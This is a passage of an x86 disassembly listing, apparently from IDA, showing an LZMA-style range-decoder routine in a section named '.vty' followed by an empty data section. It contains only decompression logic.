jz short loc_44829B
loc_448234: ; CODE XREF: .vty:00448219j
cmp edx, 100h
jl loc_4481B3
jmp short loc_4482A3
; ---------------------------------------------------------------------------
loc_448242: ; CODE XREF: .vty:0044819Dj
; .vty:004482A1j
cmp eax, 1000000h
mov ecx, [ebp-20h]
lea edi, [ecx+edx*4]
jnb short loc_448266
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_448266: ; CODE XREF: .vty:0044824Dj
mov ecx, [edi]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_448289
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi], esi
add edx, edx
jmp short loc_44829B
; ---------------------------------------------------------------------------
loc_448289: ; CODE XREF: .vty:00448273j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi], ecx
lea edx, [edx+edx+1]
loc_44829B: ; CODE XREF: .vty:00448213j
; .vty:00448232j ...
cmp edx, 100h
jl short loc_448242
loc_4482A3: ; CODE XREF: .vty:00448240j
mov esi, [ebp-10h]
mov ecx, [ebp+8]
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-0Ch], 4
mov [ebp-1], dl
mov [ecx+esi], dl
jge short loc_4482C1
and dword ptr [ebp-0Ch], 0
jmp loc_44812A
; ---------------------------------------------------------------------------
loc_4482C1: ; CODE XREF: .vty:004482B6j
cmp dword ptr [ebp-0Ch], 0Ah
jge short loc_4482D0
sub dword ptr [ebp-0Ch], 3
jmp loc_44812A
; ---------------------------------------------------------------------------
loc_4482D0: ; CODE XREF: .vty:004482C5j
sub dword ptr [ebp-0Ch], 6
jmp loc_44812A
; ---------------------------------------------------------------------------
loc_4482D9: ; CODE XREF: .vty:00448169j
sub [ebp+0Ch], ebx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov edx, [ebp-0Ch]
sub eax, ebx
cmp eax, 1000000h
mov [edi], ecx
mov ecx, [ebp+10h]
lea edx, [ecx+edx*4+300h]
jnb short loc_448312
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_448312: ; CODE XREF: .vty:004482F9j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_448364
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
cmp dword ptr [ebp-0Ch], 7
mov ecx, [ebp-18h]
mov [ebp-28h], ecx
mov ecx, [ebp-1Ch]
mov [ebp-18h], ecx
mov ecx, [ebp-14h]
mov [edx], edi
mov [ebp-1Ch], ecx
jge short loc_44834F
and dword ptr [ebp-0Ch], 0
jmp short loc_448356
; ---------------------------------------------------------------------------
loc_44834F: ; CODE XREF: .vty:00448347j
mov dword ptr [ebp-0Ch], 3
loc_448356: ; CODE XREF: .vty:0044834Dj
mov ecx, [ebp+10h]
add ecx, 0CC8h
jmp loc_44854D
; ---------------------------------------------------------------------------
loc_448364: ; CODE XREF: .vty:0044831Fj
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edi, [edx+ecx*4+330h]
jnb short loc_44839D
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_44839D: ; CODE XREF: .vty:00448384j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb loc_448451
mov ebx, 800h
sub ebx, ecx
shr ebx, 5
add ebx, ecx
mov ecx, [ebp-0Ch]
add ecx, 0Fh
shl ecx, 4
mov [edi], ebx
mov edi, [ebp+10h]
add ecx, esi
cmp edx, 1000000h
mov eax, edx
lea edi, [edi+ecx*4]
jnb short loc_4483F2
mov ecx, [ebp+0Ch]
shl edx, 8
mov eax, edx
mov edx, [ebp-8]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4483F2: ; CODE XREF: .vty:004483D7j
mov ecx, [edi]
mov edx, eax
shr edx, 0Bh
imul edx, ecx
cmp [ebp+0Ch], edx
jnb short loc_44843E
mov esi, [ebp-10h]
mov eax, edx
mov edx, 800h
sub edx, ecx
shr edx, 5
add edx, ecx
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
mov [edi], edx
mov edx, [ebp+8]
setnl cl
lea ecx, [ecx+ecx+9]
mov [ebp-0Ch], ecx
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
inc dword ptr [ebp-10h]
mov cl, [edx+ecx]
mov [ebp-1], cl
mov [edx+esi], cl
jmp loc_44812A
; ---------------------------------------------------------------------------
loc_44843E: ; CODE XREF: .vty:004483FFj
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
mov [edi], ecx
jmp loc_448531
; ---------------------------------------------------------------------------
loc_448451: ; CODE XREF: .vty:004483AAj
sub [ebp+0Ch], edx
sub eax, edx
mov edx, ecx
shr edx, 5
sub ecx, edx
cmp eax, 1000000h
mov edx, [ebp+10h]
mov [edi], ecx
mov ecx, [ebp-0Ch]
lea edx, [edx+ecx*4+360h]
jnb short loc_44848A
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_44848A: ; CODE XREF: .vty:00448471j
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_4484AE
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-1Ch]
mov [edx], edi
jmp short loc_448528
; ---------------------------------------------------------------------------
loc_4484AE: ; CODE XREF: .vty:00448497j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
cmp eax, 1000000h
mov [edx], ecx
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
lea edx, [edx+ecx*4+390h]
jnb short loc_4484E7
mov edi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl ecx, 8
or ecx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4484E7: ; CODE XREF: .vty:004484CEj
mov ecx, [edx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_44850B
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-18h]
mov [edx], edi
jmp short loc_448522
; ---------------------------------------------------------------------------
loc_44850B: ; CODE XREF: .vty:004484F4j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
mov [edx], ecx
mov edx, [ebp-18h]
mov ecx, [ebp-28h]
mov [ebp-28h], edx
loc_448522: ; CODE XREF: .vty:00448509j
mov edx, [ebp-1Ch]
mov [ebp-18h], edx
loc_448528: ; CODE XREF: .vty:004484ACj
mov edx, [ebp-14h]
mov [ebp-1Ch], edx
mov [ebp-14h], ecx
loc_448531: ; CODE XREF: .vty:0044844Cj
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
setnl cl
dec ecx
and ecx, 0FFFFFFFDh
add ecx, 0Bh
mov [ebp-0Ch], ecx
mov ecx, [ebp+10h]
add ecx, 14D0h
loc_44854D: ; CODE XREF: .vty:0044835Fj
cmp eax, 1000000h
jnb short loc_44856B
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_44856B: ; CODE XREF: .vty:00448552j
mov edx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_448597
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
and dword ptr [ebp-24h], 0
mov [ecx], edi
lea ecx, [ecx+esi+8]
jmp short loc_4485F5
; ---------------------------------------------------------------------------
loc_448597: ; CODE XREF: .vty:00448578j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, edx
shr edi, 5
sub edx, edi
cmp eax, 1000000h
mov [ecx], edx
jnb short loc_4485C3
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_4485C3: ; CODE XREF: .vty:004485AAj
mov edx, [ecx+4]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_4485FE
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
mov [ecx+4], edi
lea ecx, [ecx+esi+208h]
mov dword ptr [ebp-24h], 8
loc_4485F5: ; CODE XREF: .vty:00448595j
mov dword ptr [ebp-20h], 3
jmp short loc_448621
; ---------------------------------------------------------------------------
loc_4485FE: ; CODE XREF: .vty:004485D1j
sub [ebp+0Ch], edi
mov esi, edx
shr esi, 5
sub edx, esi
sub eax, edi
mov [ecx+4], edx
add ecx, 408h
mov dword ptr [ebp-24h], 10h
mov dword ptr [ebp-20h], 8
loc_448621: ; CODE XREF: .vty:004485FCj
mov edx, [ebp-20h]
xor ebx, ebx
mov [ebp-2Ch], edx
inc ebx
loc_44862A: ; CODE XREF: .vty:00448683j
cmp eax, 1000000h
jnb short loc_448648
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_448648: ; CODE XREF: .vty:0044862Fj
mov edx, [ecx+ebx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_44866D
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ecx+ebx*4], esi
add ebx, ebx
jmp short loc_448680
; ---------------------------------------------------------------------------
loc_44866D: ; CODE XREF: .vty:00448656j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
mov [ecx+ebx*4], edx
lea ebx, [ebx+ebx+1]
loc_448680: ; CODE XREF: .vty:0044866Bj
dec dword ptr [ebp-2Ch]
jnz short loc_44862A
mov ecx, [ebp-20h]
xor edx, edx
inc edx
mov esi, edx
shl esi, cl
mov ecx, [ebp-24h]
sub ecx, esi
add ebx, ecx
cmp dword ptr [ebp-0Ch], 4
mov [ebp-30h], ebx
jge loc_448837
add dword ptr [ebp-0Ch], 7
cmp ebx, 4
jge short loc_4486B0
mov ecx, ebx
jmp short loc_4486B3
; ---------------------------------------------------------------------------
loc_4486B0: ; CODE XREF: .vty:004486AAj
push 3
pop ecx
loc_4486B3: ; CODE XREF: .vty:004486AEj
mov esi, [ebp+10h]
shl ecx, 8
lea edi, [esi+ecx+6C0h]
mov dword ptr [ebp-2Ch], 6
loc_4486C7: ; CODE XREF: .vty:00448720j
cmp eax, 1000000h
jnb short loc_4486E5
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_4486E5: ; CODE XREF: .vty:004486CCj
mov ecx, [edi+edx*4]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_44870A
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi+edx*4], esi
add edx, edx
jmp short loc_44871D
; ---------------------------------------------------------------------------
loc_44870A: ; CODE XREF: .vty:004486F3j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi+edx*4], ecx
lea edx, [edx+edx+1]
loc_44871D: ; CODE XREF: .vty:00448708j
dec dword ptr [ebp-2Ch]
jnz short loc_4486C7
sub edx, 40h
cmp edx, 4
mov edi, edx
jl loc_448808
mov ecx, edx
sar ecx, 1
and edi, 1
dec ecx
or edi, 2
cmp edx, 0Eh
mov [ebp-14h], ecx
jge short loc_448755
shl edi, cl
mov ecx, edi
sub ecx, edx
mov edx, [ebp+10h]
lea ebx, [edx+ecx*4+0ABCh]
jmp short loc_44879B
; ---------------------------------------------------------------------------
loc_448755: ; CODE XREF: .vty:00448741j
sub ecx, 4
loc_448758: ; CODE XREF: .vty:00448786j
cmp eax, 1000000h
jnb short loc_448776
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_448776: ; CODE XREF: .vty:0044875Dj
shr eax, 1
add edi, edi
cmp [ebp+0Ch], eax
jb short loc_448785
sub [ebp+0Ch], eax
or edi, 1
loc_448785: ; CODE XREF: .vty:0044877Dj
dec ecx
jnz short loc_448758
mov ebx, [ebp+10h]
add ebx, 0C88h
shl edi, 4
mov dword ptr [ebp-14h], 4
loc_44879B: ; CODE XREF: .vty:00448753j
xor ecx, ecx
inc ecx
mov [ebp-20h], ebx
mov [ebp-24h], ecx
loc_4487A4: ; CODE XREF: .vty:00448806j
cmp eax, 1000000h
jnb short loc_4487C2
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_4487C2: ; CODE XREF: .vty:004487A9j
mov edx, [ebx+ecx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_4487E7
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ebx+ecx*4], esi
add ecx, ecx
jmp short loc_448800
; ---------------------------------------------------------------------------
loc_4487E7: ; CODE XREF: .vty:004487D0j
sub [ebp+0Ch], esi
mov ebx, [ebp-20h]
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
or edi, [ebp-24h]
mov [ebx+ecx*4], edx
lea ecx, [ecx+ecx+1]
loc_448800: ; CODE XREF: .vty:004487E5j
shl dword ptr [ebp-24h], 1
dec dword ptr [ebp-14h]
jnz short loc_4487A4
loc_448808: ; CODE XREF: .vty:0044872Aj
inc edi
mov [ebp-14h], edi
jz short loc_44883C
mov ebx, [ebp-30h]
loc_448811: ; CODE XREF: .vty:0044883Aj
mov ecx, [ebp-10h]
inc ebx
sub ecx, edi
inc ebx
add ecx, [ebp+8]
loc_44881B: ; CODE XREF: .vty:00448830j
mov dl, [ecx]
mov esi, [ebp-10h]
mov edi, [ebp+8]
dec ebx
inc dword ptr [ebp-10h]
inc ecx
test ebx, ebx
mov [ebp-1], dl
mov [edi+esi], dl
jnz short loc_44881B
jmp loc_44812A
; ---------------------------------------------------------------------------
loc_448837: ; CODE XREF: .vty:0044869Dj
mov edi, [ebp-14h]
jmp short loc_448811
; ---------------------------------------------------------------------------
loc_44883C: ; CODE XREF: .vty:0044880Cj
mov eax, [ebp-10h]
leave
retn 0Ch
; ---------------------------------------------------------------------------
align 800h
_vty ends
; Section 3. (virtual address 00049000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00049000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 449000h
align 2000h
_idata2 ends
end start